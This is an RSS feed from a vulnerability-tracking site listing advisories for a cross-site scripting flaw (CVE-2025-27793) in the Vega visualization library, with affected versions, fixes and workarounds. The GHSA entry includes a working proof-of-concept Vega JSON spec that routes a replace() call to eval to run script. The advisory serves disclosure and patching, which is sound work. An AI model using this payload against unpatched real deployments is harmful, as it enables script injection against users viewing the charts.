<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 06:33:43 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-225686</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-225686</link>
      <description>EUVD-2026-225686</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-225686</guid>
    </item>
    <item>
      <title>fkie_cve-2025-27793</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2025-27793</link>
      <description>&lt;p&gt;Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2025-27793</guid>
    </item>
    <item>
      <title>GHSA-963h-3v39-3pqf — Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-963h-3v39-3pqf</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vega, npm: vega-functions&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`.&lt;/p&gt;
&lt;p&gt;## Workarounds&lt;/p&gt;
&lt;p&gt;- Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/)
- Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`)&lt;/p&gt;
&lt;p&gt;### POC Summary&lt;/p&gt;
&lt;p&gt;Calling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function.&lt;/p&gt;
&lt;p&gt;### POC Details&lt;/p&gt;
&lt;p&gt;Consider the function call `replace(&amp;#39;foo&amp;#39;, {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec(&amp;#39;foo&amp;#39;)` winds up being called.&lt;/p&gt;
&lt;p&gt;The resulting malicious call looks like this:
```
replace(&amp;lt;string argument&amp;gt;, {__proto__: /h/.constructor.prototype, exec: &amp;lt;function&amp;gt;, global: false})
```&lt;/p&gt;
&lt;p&gt;Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`.&lt;/p&gt;
&lt;p&gt;### Reproduction steps&lt;/p&gt;
&lt;p&gt;```
{&amp;#34;$schema&amp;#34;:&amp;#34;https://vega.github.io/schema/vega/v5.json&amp;#34;,&amp;#34;signals&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;on&amp;#34;:[{&amp;#34;events&amp;#34;:&amp;#34;body:mousemove{99999}&amp;#34;,&amp;#34;update&amp;#34;:&amp;#34;replace(&amp;#39;alert(1)&amp;#39;,{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})&amp;#34;}]}]}
```&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: vega, npm: vega-functions&lt;/p&gt;
&lt;p&gt;## Impact&lt;/p&gt;
&lt;p&gt;Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the `vega-interpreter`.&lt;/p&gt;
&lt;p&gt;## Workarounds&lt;/p&gt;
&lt;p&gt;- Use `vega` with [expression interpreter](https://vega.github.io/vega/usage/interpreter/)
- Upgrade to a [newer Vega version](https://github.com/vega/vega/releases/tag/v5.32.0) (`5.32.0`)&lt;/p&gt;
&lt;p&gt;### POC Summary&lt;/p&gt;
&lt;p&gt;Calling `replace` with a `RegExp`-like pattern calls `RegExp.prototype[@@replace]`, which can then call an attacker-controlled `exec` function.&lt;/p&gt;
&lt;p&gt;### POC Details&lt;/p&gt;
&lt;p&gt;Consider the function call `replace(&amp;#39;foo&amp;#39;, {__proto__: /h/.constructor.prototype, global: false})`. Since `pattern` has `RegExp.prototype[@@replace]`, `pattern.exec(&amp;#39;foo&amp;#39;)` winds up being called.&lt;/p&gt;
&lt;p&gt;The resulting malicious call looks like this:
```
replace(&amp;lt;string argument&amp;gt;, {__proto__: /h/.constructor.prototype, exec: &amp;lt;function&amp;gt;, global: false})
```&lt;/p&gt;
&lt;p&gt;Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse `event.view` to gain access to `eval`.&lt;/p&gt;
&lt;p&gt;### Reproduction steps&lt;/p&gt;
&lt;p&gt;```
{&amp;#34;$schema&amp;#34;:&amp;#34;https://vega.github.io/schema/vega/v5.json&amp;#34;,&amp;#34;signals&amp;#34;:[{&amp;#34;name&amp;#34;:&amp;#34;a&amp;#34;,&amp;#34;on&amp;#34;:[{&amp;#34;events&amp;#34;:&amp;#34;body:mousemove{99999}&amp;#34;,&amp;#34;update&amp;#34;:&amp;#34;replace(&amp;#39;alert(1)&amp;#39;,{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})&amp;#34;}]}]}
```&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-963h-3v39-3pqf</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2025-27793</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-27793</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:24.04:LTS: vega.js, Ubuntu:25.10: vega.js, Ubuntu:26.04:LTS: vega.js&lt;/p&gt;
&lt;p&gt;Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:24.04:LTS: vega.js, Ubuntu:25.10: vega.js, Ubuntu:26.04:LTS: vega.js&lt;/p&gt;
&lt;p&gt;Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 5.32.0, corresponding to vega-functions prior to version 5.17.0, users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library was used with the `vega-interpreter`. Vega version 5.32.0 and vega-functions version 5.17.0 fix the issue. As a workaround, use `vega` with expression interpreter.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-27793</guid>
    </item>
  </channel>
</rss>
